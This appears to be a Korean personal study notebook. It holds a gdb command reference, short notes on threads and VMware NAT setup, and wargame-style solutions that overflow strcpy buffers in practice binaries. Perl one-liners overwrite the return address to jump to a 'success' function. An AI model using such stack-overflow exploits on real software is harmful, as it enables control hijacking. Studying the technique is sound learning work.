 x/10 main : main 함수 시작부터 40바이트를 출력한다. 출력형식은 다음과 같다.
 x/10t main : main 함수 시작부터 40바이트를 2진수로 출력
 x/10o main : main 함수 시작부터 40바이트를 8진수로 출력
 x/10d main : main 함수 시작부터 40바이트를 부호가 있는 10진수로 출력 (int)
 x/10u main : main 함수 시작부터 40바이트를 부호가 없는 10진수로 출력 (unsigned int)
 x/10x main : main 함수 시작부터 40바이트를 16진수로 출력
 x/10c main : main 함수 시작부터 40바이트를 최초 1바이트 값을 문자형으로 출력
 x/10f main : main 함수 시작부터 40바이트를 부동 소수점 값 형식으로 출력
 x/10a main : 가장 가까운 심볼의 오프셋을 출력
 x/10s main : 문자열로 출력
 x/10i main : 어셈블리 형식으로 출력

29. 범위의 단위 (기본 word - 4바이트)
 x/10b main : byte - 1바이트 단위 - 10바이트 출력
 x/10h main : halfword - 2바이트 단위 - 20바이트 출력
 x/10w main : word - 4바이트 단위 - 40바이트 출력
 x/10g main : giant word - 8바이트 단위 - 80바이트 출력

30. 디스어셈블링 (disas)
 disas func : 어셈블리 코드를 좀 보편적으로 보기 위한 명령어
 disas 0x8048300 0x8048400 : 특정 주소 범위사이의 어셈블리 코드를 보기

31. 함수호출 (call)
 call func(arg1, arg2) : 특정함수 func를 arg1, arg2 파라메터를 포함하여 호출하고, 반환값은 출력

32. 점프 (jump)
 jump *0x08048321 : 해당 주소로 무조건 분기하여 인스트럭션을 계속 수행한다.
 jump 10  : 무조건 10행으로 분기하여 수행한다.
 jump func : func 함수로 무조건 분기하여 수행한다.

33. 시그널 전송 (signal)
 info signals : 보낼 수 있는 시그널의 종류를 확인할 수 있다.
 signal SIGKILL : 디버깅 대상의 프로세스에게 KILL 시그널을 보낼 수 있다.

34. 메모리의 특정 영역에 값을 설정 ( set )
 set {타입}[주소] = [값] : p 명령 대신에 set 을 통해서 메모리의 특정 주소에 저장하는 것이 더 일반적이다
 set {int}0x8048300 = 100 : 해당 주소에 100의 값을 입력한다.

35. gdb 환경설정 (set)
 info set : 변경 가능한 환경설정 정보를 출력한다.
 info functions : 함수들의 리스트를 출력
 info types  : 선언된 타입에 대한 리스트를 출력
 set prompt psyoblade: : 프롬프트를 psyoblade: 로 변경할 수 있다.
 set print array on : 배열을 출력할 때 한 행에 출력하는 것이 아니라 여러 행에 출력한다.

36. 기타 info 를 통해 알 수 있는 정보들
 address         catch           extensions      handle          objects         set             stack           tracepoints
 all-registers   common          files           heap            program         sharedlibrary   symbol          types
 architecture    copying         float           leaks           registers       signals         target          variables
 args            dcache          frame           line            remote-process  source          terminal        warranty
 breakpoints     display         functions       locals          scope           sources         threads         watchpoints
 

쓰레드 - 프로그램 실행 흔적

멀티 스레드 - 실행 흔적 여러개 ?????????, 여러개 함수를 동시에 실행 시킬 수 잇는것
                 - 일종의 fork ()  포크 개념

단일 쓰레드 - 하나의 함수가 긑나가 다른 함수를 실행 가능하다.

멀티 프로그램 - 하나의 운영체제에 여러개의 프로그램을 동시에 수행

멀티 프로세싱 - 하나의 컴퓨터에 여려개의 cpu를 가진것


--------------------------------------------------------------------------------------------------------------------------------------------------
스레드(thread)는 어떠한 프로그램 내에서, 특히 프로세스 내에서 실행되는 흐름의 단위를 말한다. 일반적으로 한 프로그램은 하나의 스레드를 가지고 있지만, 프로그램 환경에 따라 둘 이상의 스레드를 동시에 실행할 수 있다. 이러한 실행 방식을 멀티스레드(multithread)라고 한다.
프로세스와 스레드의 비교

• fork 문제 : 어떤 프로세스 내의 스레드가 fork를 호출하면 모든 스레드를 가진 프로세스를 생성할 것인지, 아니면 fork를 요청한 스레드만 가진 프로세스를 생성할 것인지 하는 문제이다. 유닉스에서는 각각 2가지 버전의 fork를 지원하고 있다.
• exec 문제 : fork를 통해 모든 스레드를 복제하고 난 후, exec를 수행한다면 모든 스레드들이 초기화된다. 그렇다면 교체될 스레드를 복제하는 작업은 필요가 없기 때문에 애초에 fork를 요청한 스레드만을 복제했어야 한다. 한편, fork를 한 후에 exec를 수행하지 않는다면 모든 스레드를 복제할 필요가 있는 경우도 있다.
                                                                                                 
• 출처 :  위키백과   ,    http://ko.wikipedia.org/wiki/%EC%8A%A4%EB%A0%88%EB%93%9C

base 풀이 1
[root@localhost tmp]# gdb base
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) i fun
All defined functions:

Non-debugging symbols:
0x08048278  _init
0x080482a0  __libc_start_main
0x080482b0  printf
0x080482c0  exit
0x080482d0  strcpy
0x08048304  call_gmon_start
0x08048328  __do_global_dtors_aux
0x08048364  frame_dummy
0x08048390  success
0x080483a8  main
0x080483fc  __libc_csu_init
0x0804842c  __libc_csu_fini
0x08048460  __do_global_ctors_aux
0x08048484  _fini
(gdb) disas main
Dump of assembler code for function main:
0x080483a8 <main+0>:    push   %ebp
0x080483a9 <main+1>:    mov    %esp,%ebp
0x080483ab <main+3>:    sub    $0x18,%esp
0x080483ae <main+6>:    and    $0xfffffff0,%esp
0x080483b1 <main+9>:    mov    $0x0,%eax
0x080483b6 <main+14>:   sub    %eax,%esp
0x080483b8 <main+16>:   cmpl   $0x1,0x8(%ebp)
0x080483bc <main+20>:   jg     0x80483c8 <main+32>
0x080483be <main+22>:   sub    $0xc,%esp
0x080483c1 <main+25>:   push   $0x0
0x080483c3 <main+27>:   call   0x80482c0 <exit>
0x080483c8 <main+32>:   sub    $0x8,%esp
0x080483cb <main+35>:   mov    0xc(%ebp),%eax
0x080483ce <main+38>:   add    $0x4,%eax
0x080483d1 <main+41>:   pushl  (%eax)
0x080483d3 <main+43>:   lea    0xffffffe8(%ebp),%eax
0x080483d6 <main+46>:   push   %eax
0x080483d7 <main+47>:   call   0x80482d0 <strcpy>
0x080483dc <main+52>:   add    $0x10,%esp
0x080483df <main+55>:   sub    $0x8,%esp
0x080483e2 <main+58>:   lea    0xffffffe8(%ebp),%eax
0x080483e5 <main+61>:   push   %eax
0x080483e6 <main+62>:   push   $0x80484bb
---Type <return> to continue, or q <return> to quit---
0x080483eb <main+67>:   call   0x80482b0 <printf>
0x080483f0 <main+72>:   add    $0x10,%esp
0x080483f3 <main+75>:   mov    $0x0,%eax
0x080483f8 <main+80>:   leave
0x080483f9 <main+81>:   ret
0x080483fa <main+82>:   nop
0x080483fb <main+83>:   nop
End of assembler dump.
(gdb)
(gdb) disas success
Dump of assembler code for function success:
0x08048390 <success+0>: push   %ebp
0x08048391 <success+1>: mov    %esp,%ebp
0x08048393 <success+3>: sub    $0x8,%esp
0x08048396 <success+6>: sub    $0xc,%esp
0x08048399 <success+9>: push   $0x80484a8
0x0804839e <success+14>:        call   0x80482b0 <printf>
0x080483a3 <success+19>:        add    $0x10,%esp
0x080483a6 <success+22>:        leave
0x080483a7 <success+23>:        ret
End of assembler dump.
(gdb)
success 의 주소 값 0x08048390
(gdb) b *main+52 // strcpy 까지 break point 설정후
Breakpoint 1 at 0x80483dc
(gdb) r aaaaaaaaaaaaaaaaaaa // 실행
Starting program: /tmp/base aaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x080483dc in main ()
(gdb) x/10wx $esp  // esp값을 기준으로 메모리 값 덤프
0xbfffe420:     0xbfffe430      0xbffffba5      0xbfffe438      0x0804828d
0xbfffe430:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfffe440:     0x00616161      0x40015360
  // aaaa 값이 bfffe430을 기준으로 쌓여 있는 것을 볼 수 있다.
(gdb) x/10wx $ebp
0xbfffe448:     0xbfffe468      0x42015574      0x00000002      0xbfffe494
  ret  sfp  argc  argv
0xbfffe458:     0xbfffe4a0      0x4001582c      0x00000002      0x080482e0
0xbfffe468:     0x00000000      0x08048301
  //ebp값을 기준으로 확인해 보면  ret sfp argc argv
  //값이 나열 된 것을 볼 수 있다.
memory 구조상
stack 구조는
 ---------------
  ret
 ---------------
  sfp
   ebp->---------------<-esp
  지역변수
  ..
  ..
  으로 되어 있는데
  함수 호출 과정을 거친후 리턴 될때 ebp값을 읽어 eip에 저장된 다음
  명령어를 실행한다.
  strcpy 같은 함수의 취약점은 byte체크를 하지 않는다.
  이때 원하는 양의 문자열을 perl 스크립트 같은 스키립트 를 이요하여
  스택을 넘어 ret공간에다 원하는 명령이나 메모리 주소를 덮어 씌워
  쉘코드를 실행 시킬수 있다.
암튼 이 구조상으로 보면
지역 변수의 공간이 차지 하는 공간은
sub    $0x18,%esp 에서 보듯이 24byte의 공간을 차지 하고 있다.
여기에 sfp공간 값 4byte를 더해 ret 주소에 success함수의 주소값을 집어넣어야 하므로
28byte만큰 overflow를 시키면 된다.

success 함수의 시작값0x08048390 에 aaaa*?의 수를 주어야 한다.

# ./base `perl -e 'print "a"x28,"\x90\x83\x04\x08"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaa릡
You're Success!!!
세그멘테이션 오류
success함수가 실행 되었다.

base3 풀이

[root@localhost tmp]# gdb base3
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) i fun
All defined functions:

Non-debugging symbols:
0x08048278  _init
0x080482a0  __libc_start_main
0x080482b0  printf
0x080482c0  exit
0x080482d0  strcpy
0x08048304  call_gmon_start
0x08048328  __do_global_dtors_aux
0x08048364  frame_dummy
0x08048390  success
0x080483a8  main
0x08048420  __libc_csu_init
0x08048450  __libc_csu_fini
0x08048484  __do_global_ctors_aux
0x080484a8  _fini

(gdb) disas main // main 함수 를 까뒤집어 보자
Dump of assembler code for function main:
0x080483a8 <main+0>:    push   %ebp
0x080483a9 <main+1>:    mov    %esp,%ebp
0x080483ab <main+3>:    sub    $0x368,%esp
0x080483b1 <main+9>:    and    $0xfffffff0,%esp
0x080483b4 <main+12>:   mov    $0x0,%eax
0x080483b9 <main+17>:   sub    %eax,%esp
0x080483bb <main+19>:   sub    $0xc,%esp
0x080483be <main+22>:   push   $0x80484dc
0x080483c3 <main+27>:   call   0x80482b0 <printf>
0x080483c8 <main+32>:   add    $0x10,%esp
0x080483cb <main+35>:   cmpl   $0x1,0x8(%ebp)
0x080483cf <main+39>:   jg     0x80483eb <main+67>
0x080483d1 <main+41>:   sub    $0xc,%esp
0x080483d4 <main+44>:   push   $0x80484e1
0x080483d9 <main+49>:   call   0x80482b0 <printf>
0x080483de <main+54>:   add    $0x10,%esp
0x080483e1 <main+57>:   sub    $0xc,%esp
0x080483e4 <main+60>:   push   $0x0
0x080483e6 <main+62>:   call   0x80482c0 <exit>
0x080483eb <main+67>:   sub    $0x8,%esp
0x080483ee <main+70>:   mov    0xc(%ebp),%eax
0x080483f1 <main+73>:   add    $0x4,%eax
0x080483f4 <main+76>:   pushl  (%eax)
---Type <return> to continue, or q <return> to quit---
0x080483f6 <main+78>:   lea    0xfffffea8(%ebp),%eax
0x080483fc <main+84>:   push   %eax
0x080483fd <main+85>:   call   0x80482d0 <strcpy>
0x08048402 <main+90>:   add    $0x10,%esp
0x08048405 <main+93>:   sub    $0x8,%esp
0x08048408 <main+96>:   lea    0xffffff78(%ebp),%eax
0x0804840e <main+102>:  push   %eax
0x0804840f <main+103>:  push   $0x80484ee
0x08048414 <main+108>:  call   0x80482b0 <printf>
0x08048419 <main+113>:  add    $0x10,%esp
0x0804841c <main+116>:  leave
0x0804841d <main+117>:  ret
0x0804841e <main+118>:  nop
0x0804841f <main+119>:  nop
End of assembler dump.

(gdb) disas success
Dump of assembler code for function success:
0x08048390 <success+0>: push   %ebp
0x08048391 <success+1>: mov    %esp,%ebp
0x08048393 <success+3>: sub    $0x8,%esp
0x08048396 <success+6>: sub    $0xc,%esp
0x08048399 <success+9>: push   $0x80484cc
0x0804839e <success+14>:        call   0x80482b0 <printf>
0x080483a3 <success+19>:        add    $0x10,%esp
0x080483a6 <success+22>:        leave
0x080483a7 <success+23>:        ret
End of assembler dump.

0x08048390
success 함수의 시작 주소가 보인다!
또한 main+85에 strcpy가 보인다.!!

(gdb) b *main+90 //strcpy까지 실행 시켜보기 위해 breakpoint를 걸었다.
Breakpoint 1 at 0x8048402
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaa // 실행
Starting program: /tmp/base3 aaaaaaaaaaaaaaaaaaaaaaaaaa
hi~

Breakpoint 1, 0x08048402 in main ()

(gdb) x/10wx $esp
0xbfffe140:     0xbfffe360      0xbffffb9d      0x0804959c      0x40015a38
0xbfffe150:     0x00000000      0x400169e0      0xd0cac37d      0x00001707
0xbfffe160:     0x00000000      0x01000000
(gdb)
0xbfffe168:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe178:     0x00000000      0x00000000      0x00000001      0x00000000
0xbfffe188:     0x00000000      0x00000000
(gdb)
0xbfffe190:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1b0:     0x00000006      0x400169e0
(gdb)
0xbfffe1b8:     0x000fffff      0x00000051      0x00000000      0x00000000
0xbfffe1c8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1d8:     0x00000000      0x00000000
(gdb)
0xbfffe1e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe200:     0x00000000      0x00000000
(gdb)
0xbfffe208:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe218:     0x00000000      0x4000fbce      0x00000000      0x00000000
0xbfffe228:     0x40001001      0x4001582c
(gdb)
0xbfffe230:     0x40015a34      0x00020414      0xbfffe468      0x4000eeaf
0xbfffe240:     0x08048034      0x00000006      0xbfffe27c      0x00000000
0xbfffe250:     0x00000000      0x00000000
(gdb)
0xbfffe258:     0x00000000      0x2d000000      0x00000003      0xbfffe302
0xbfffe268:     0x0003fbf9      0x00000000      0x00000000      0x00000006
0xbfffe278:     0x08048034      0x080482e0
(gdb)
0xbfffe280:     0x756e694c      0x00000078      0x00000000      0x00000000
0xbfffe290:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe2a0:     0x00000000      0x00000000
(gdb)
0xbfffe2a8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe2b8:     0x00000000      0x00000000      0x636f6c00      0x6f686c61
0xbfffe2c8:     0x6c2e7473      0x6c61636f
(gdb)
0xbfffe2d0:     0x616d6f64      0x00006e69      0x00000000      0x00000000
0xbfffe2e0:     0x4000914d      0x42010c7f      0x42010c7f      0x00000000
0xbfffe2f0:     0x00000000      0x00000020
(gdb)
0xbfffe2f8:     0x42010d36      0x4200bc84      0x42003394      0x400160b0
0xbfffe308:     0x00000003      0x40016350      0x4001582c      0x4001624c
0xbfffe318:     0x4200dba3      0xbfffe3fc
(gdb)
0xbfffe320:     0x40008156      0x4200dba3      0x0ab98982      0x420069e4
0xbfffe330:     0xbfffe3ac      0x40009401      0x080481c9      0x40015c68
0xbfffe340:     0x400093bb      0x4001582c
(gdb)
0xbfffe348:     0x40015a38      0x00000000      0xbfffe390      0x4000914d
0xbfffe358:     0x42010c7f      0x08048216      0x61616161      0x61616161
0xbfffe368:     0x61616161      0x61616161
(gdb)
0xbfffe358:에서 6161이 보인다. 인자로 넣은 a의 asci값
+8
0xbfffe360 에서 시작 되었다.
0xbfffe4b8 - 0xbfffe360 = 0x158  십진수 로 변환하면 344
여기에 sfp공간 값 +4byte를 하면 348이 나온다!

# ./base3 `perl -e 'print "a"x348,"\x90\x83\x04\x08"'`
hi~
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa릡
You're Best!!!
세그멘테이션 오류
success 함수가 실행되었다!


(printf "`perl -e 'printf "a"x??, "\x??\x??\x??"'`;cat) | ./base2

network setting
--------------------------------------------------------
필자 환경

o/s            win xp
network      cable modem + 공유기 상태
--------------------------------------------------------

해서 내부적으로 가상 아이피를 쓰고 있다. ( C class)
192.168.x.x

보통 이런 환경이기 때문에

딴생각 없이 NAT를 쓰기로 하자

vmware를 설치 하고 나면 네트워크 환경에서 '네트워크 연결을 보기' 하면
vmnet8, vmnet 1이 저절로 생성된것을 볼 수 있다.

1. vmware 설치
   
   환경    :  기본 o/s window xp 이상
   준비물 : vmware  (window용, 시리얼키 포함) , 적당한 경로?에서 구하면 됨
2. 다운 받은 파일 더블 클릭
3. 기본 ' next '  광클 하면 설치 종료됨
4. 기타는 그림 참조

설치 실행